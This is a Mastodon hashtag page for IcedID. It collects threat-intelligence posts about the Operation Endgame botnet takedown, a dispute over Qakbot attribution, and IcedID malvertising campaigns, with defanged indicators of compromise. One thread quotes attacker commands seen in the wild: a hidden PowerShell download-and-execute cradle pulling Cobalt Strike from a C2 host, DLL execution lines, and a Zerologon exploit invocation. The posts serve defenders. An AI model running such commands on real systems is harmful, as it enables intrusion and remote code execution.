Create accountLogin

Recent searches

No recent searches

Search options

Only available when logged in.
101010.pl is one of the many independent Mastodon servers you can use to participate in the fediverse.
101010.pl czyli najstarszy polski serwer Mastodon. Posiadamy wpisy do 2048 znaków.

Administered by:

Server stats:

505
active users

101010.pl: AboutStatusProfiles directoryPrivacy policy

Mastodon: AboutGet the appKeyboard shortcutsView source codev4.4.0-alpha.5

#IcedID

0 posts0 participants0 posts today
Public
Threat Insight

Today we celebrate a major cybersecurity victory. 👏 Operation Endgame, a global law enforcement effort supported by insights from experts at Proofpoint and other industry vendors, resulted in:

• The disruption of major botnets
• Four arrests
• Over 100 servers taken down across 10 countries
• Over 2,000 domains brought under the control of law enforcement
• Illegal assets frozen

Proofpoint’s mission is to provide the best human-centric protection for our customers against advanced threats. Whenever possible and appropriate to do so, Proofpoint uses its team’s knowledge and skills to help protect a wider audience against widespread malware threats.

For #OperationEndgame, Proofpoint threat researchers lent their expertise in reverse engineering malware, botnet infrastructure, and identifying patterns in how the threat actors set up their servers to help authorities understand the malware and safely remediate the bot clients.

Proofpoint’s unmatched threat telemetry and researcher knowledge played a crucial role in the operation, providing key insights in identifying the new botnets that are most likely to grow and become the dominant threats affecting the most number of people around the world.

More information on the takedown and Proofpoint’s involvement can be found in our blog: proofpoint.com/us/blog/threat-.

Proofpoint · Major Botnets Disrupted via Global Law Enforcement Takedown | Proofpoint USGlobal law enforcement recently announced Operation Endgame, a widespread effort to disrupt malware and botnet infrastructure and identify the alleged individuals associated with the activity.
#IcedID#SystemBC#Pikabot
Public
🛡 H3lium@infosec.exchange/:~# :blinking_cursor:​

Operation Endgame - Largest Ever Operation Against Botnets Hits Dropper Malware Ecosystem

Date: May 30, 2024
CVE: Not specified
Vulnerability Type: Malware
CWE: [[CWE-94]], [[CWE-502]]
Sources: Europol News, Eurojust News

Issue Summary

Europol, in coordination with law enforcement agencies from multiple countries, conducted the largest ever operation targeting botnets. This operation, dubbed "Operation Endgame," took place from May 27 to 29, 2024, and led to the disruption of major malware droppers including IcedID, SystemBC, Pikabot, Smokeloader, and Bumblebee. The effort resulted in four arrests and the takedown of over 100 servers worldwide. These droppers were used to facilitate ransomware and other cyber-attacks by installing additional malware onto target systems. The operation was supported by Eurojust and involved contributions from countries including France, Germany, the Netherlands, Denmark, the UK, the US, and others. Private partners also played a role in the operation, which aimed to dismantle the infrastructure supporting these malicious activities. The success of this operation marks a significant step in combating cybercrime on a global scale.

Operation Endgame, coordinated by Europol, dismantled several major botnets including IcedID, SystemBC, Pikabot, Smokeloader, and Bumblebee. This international effort involved law enforcement agencies from multiple countries and led to the arrest of four individuals and the takedown of over 100 servers. The botnets targeted facilitated ransomware and other cyber-attacks.

Technical Key Findings

The malware droppers involved are designed to infiltrate systems and install additional malware, often avoiding detection through sophisticated evasion techniques. These droppers were used to deploy ransomware and other malicious payloads by bypassing security measures and enabling further system compromises.

Vulnerable Products

The operation did not specify particular products but targeted the infrastructures supporting droppers like IcedID, SystemBC, Pikabot, Smokeloader, and Bumblebee.

Impact Assessment

If abused, these vulnerabilities could lead to widespread ransomware attacks, financial losses, and significant disruption of services. The infrastructure taken down had facilitated numerous cyber-attacks globally, highlighting the severe impact on cybersecurity.

Patches or Workaround

The report did not mention specific patches or workarounds. However, continuous monitoring and updating of security measures are recommended to protect against such threats.

Tags

EuropolLargest ever operation against botnets hits dropper malware ecosystem | EuropolBetween 27 and 29 May 2024 Operation Endgame, coordinated from Europol’s headquarters, targeted droppers including, IcedID, SystemBC, Pikabot, Smokeloader, Bumblebee and Trickbot. The actions focused on disrupting criminal services through arresting High Value Targets, taking down the criminal infrastructures and freezing illegal proceeds. This approach had a global impact on the dropper ecosystem. The malware, whose infrastructure was taken down...
#Botnets#Malware#Ransomware
Public
The Spamhaus Project

🚨#IcedID, #Smokeloader, #SystemBC, #Pikabot and #Bumblebee botnets have been disrupted by Operation Endgame!! This is the largest operation EVER against botnets involved with ransomware, with gargantuan thanks to a coordinated effort led by international agencies 👏👏

As with the #Qakbot and #Emotet takedowns, Spamhaus are again providing remediation support - those affected will be contacted from today with steps to take.

👉 For more information, read our write-up here: spamhaus.org/resource-hub/malw

The Spamhaus ProjectMalware | Operation Endgame | Botnets disrupted after international action | Resources
#OperationENDGAME
Public *
Brad

This article from @TalosSecurity is wrong: infosec.exchange/@TalosSecurit

The activity reported in this Talos article is not associated with #Qakbot.

Why do I say this?

This Talos article is "...connecting the metadata in the LNK files used in the new campaign to the machines used in previous Qakbot campaigns."

Talos identifies these campaigns as "AA" and "BB." But the other data Talos presents isn't associated with infrastructure for the "AA" and "BB" campaigns that have pushed Qakbot before.

That "AA" and "BB" infrastructure has been active since last month, pushing #DarkGate, #Pikabot, and #IcedID. This distribution network is run by a threat actor Proofpoint identifies as #TA577. TA577 was one of the distributors of Qakbot before Qakbot got taken down.

I would never have called TA577 the threat actor behind Qakbot, but Talos does in the article. It is merely a threat actor that distributed Qakbot.

From what I can tell, this Knight ransomeware activity is not connected with the AA/BB/TA577 distributor who has previously spread Qakbot and other malware.

Mastodon 🐘Cisco Talos Intelligence Group (@TalosSecurity@mstdn.social)Attached: 1 image The actors behind the #Qakbot malware are still active, despite a recent takedown announcement from the FBI. Talos research found a new malware they're spreading, including a #ransomware and backdoor via phishing emails https://blog.talosintelligence.com/qakbot-affiliated-actors-distribute-ransom/
Public
Brad

More info from tweet I wrote for my employer at: twitter.com/Unit42_Intel/statu

2023-08-09 (Wednesday) - Trojanized Webex .msix installer package contains PowerShell script to install #IcedID (#Bokbot). We also saw #BackConnect traffic and #KeyholeVNC from the infection. List of indicators available at github.com/pan-unit42/tweets/b

I've been looking for Cobalt Strike activity from these IcedID infections, but haven't had much luck in recent months.

#pcap of the infection traffic and the associated malware/artifacts are available at malware-traffic-analysis.net/2

Public *
Brad

Originally posted at: twitter.com/Unit42_Intel/statu

2023-02-08 (Wednesday) As follow-up to an #IcedID (#Bokbot) infection, I saw a #CobaltStrike stager hosted at hxxp://167.172.154[.]189/b360802.dll with follow-up Cobalt Strike C2 on 79.132.128[.]191:443 using thefirstupd[.]com as its domain.

IoCs available at github.com/pan-unit42/tweets/b

Public
Opalsec :verified:

#OneNote has become a fixture in recent malware delivery campaigns, with Initial Access Broker kingpins such as #Qakbot, #IcedID, and more getting in on the action.

I've distilled all the publicly available information I could find on the topic into this post. Who's abusing it and how to mitigate them - it's all here:

opalsec.substack.com/p/the-def

OpalsecThe Defender's Guide to OneNote MalDocsBy Opalsec
#infosec#cyber#informationsecurity
Public
Kostas

For the past couple of weeks, #IcedID has been hitting hard, with post-exploitation activities beginning within ~1 hour from the initial infection.

Here are some TTPs and IOCs from these post-exploitation activities that will keep defenders ready.

🎯TTPs🎯
➡️IcedID use of VNC
💡Over port 8080
➡️Multiple Cobalt Strike DLLs on disk
💡Overused directories - "C:\Windows\Tasks" & - "%user%\AppData\Local\Temp"
➡️Heavy use of PowerShell
💡Downloading payloads, exec PowerShell Cobalt Strike Loaders & other processes

➡️Used multiple privilege escalation methods
💡zerologon, Invoke-Kerberoast, Invoke-EnvBypass
➡️Reverse proxy via Cobalt Strike and then RDPing into the network
➡️Invoke-BloodHound & Invoke-ShareFinder for network and open-shares discovery

🛡️IOCs🛡️
➡️Cobalt Strike C2 & staging servers
💡23.227.202.66 - allowedcloud\.com
💡64.227.8.75:80 (Hosting files & possible redirector pointing to allowedcloud\.com)
💡80.77.25.65:443 - jumptoupd\.com

➡️Cobalt Strike payload execution
💡regsvr32.exe /s C:\Users\<user>\AppData\Local\Temp\<DLL>
💡rundll32.exe /s c:\windows\tasks\<DLL>,NtSetSystemTime
💡powershell.exe -nop -w hidden -c "IEX((new-object net.webclient).downloadstring('hxxp://allowedcloud\.com:80/ItsMyBIT'))"

➡️IcedID C2 Servers
💡51.195.169.87:8080 - VNC connections
💡185.99.133.122:443
💡23.254.202.234:443
💡89.44.9.157:443

7/x
➡️Zerologon exploit - virustotal.com/gui/file/36bc3…
💡zero.exe [DC IP ADDRESS] [DOMAIN NAME] [DOMAIN ADMIN] -c "whoami > [RESULTED OUTPUT DIR/FILE]"
8/end
These are the most common TTPs and some new IOCs related to IcedID Hands-On-Keyboard post-exploitation activities.

Thanks to @@pr0xylife for sharing the IcedID samples 🙏

Get additional context along with more IOCs like these @ thedfirreport.com/services

Stay safe💙
#infosec #incidentresponse #threatintel #IOC

Public
Colin Cowie

Sophos has observed new IcedID #malvertizing campaigns themed around adobe & other popular software packages

🧊​ Infection Chain:

➡️​ Google search for "adobe reader"
↪️​ Google ad click
↪️​ TDS redirect: `likhs299us[.]tech`
🎣​ Fake website: vvw-adobe[.]top
↪️​ Download of malware from firebase (.zip containing a .iso)
🗄️​ Setup_Win_<timestamp>.zip / Setup_Win_<timestamp>.iso

#IcedID C2: plivetrakoy[.]com

#IOCs:
🔗​ virustotal.com/gui/file/be9ac5
🔗​ virustotal.com/gui/ip-address/
#ThreatIntel #Malware #CTI

Fake Adobe website used to download IcedID malware
Public *
Colin Cowie

Fake Microsoft Teams website used to download IcedID malware

🌐​ mlcrosofteams[.]top
⬇️​ Downloads .zip containing .msi

#IcedID C2: whothitheka[.]com

This is likely being distributed by #malvertising but I wasn't able to capture the advertisement

193.222.62[.]37 is also hosting fake IRS & Royal mail websites
🏦​ irs-forms[.]top
🏦​ royalmail.orders-info[.]uk

🔗virustotal.com/gui/file/8ed202
🔗urlscan.io/result/a0e5de3e-75e
🔗urlscan.io/ip/193.222.62.37

Fake Microsoft Teams website
#CTI#threatintelligence#ThreatIntel
ExploreLive feeds
About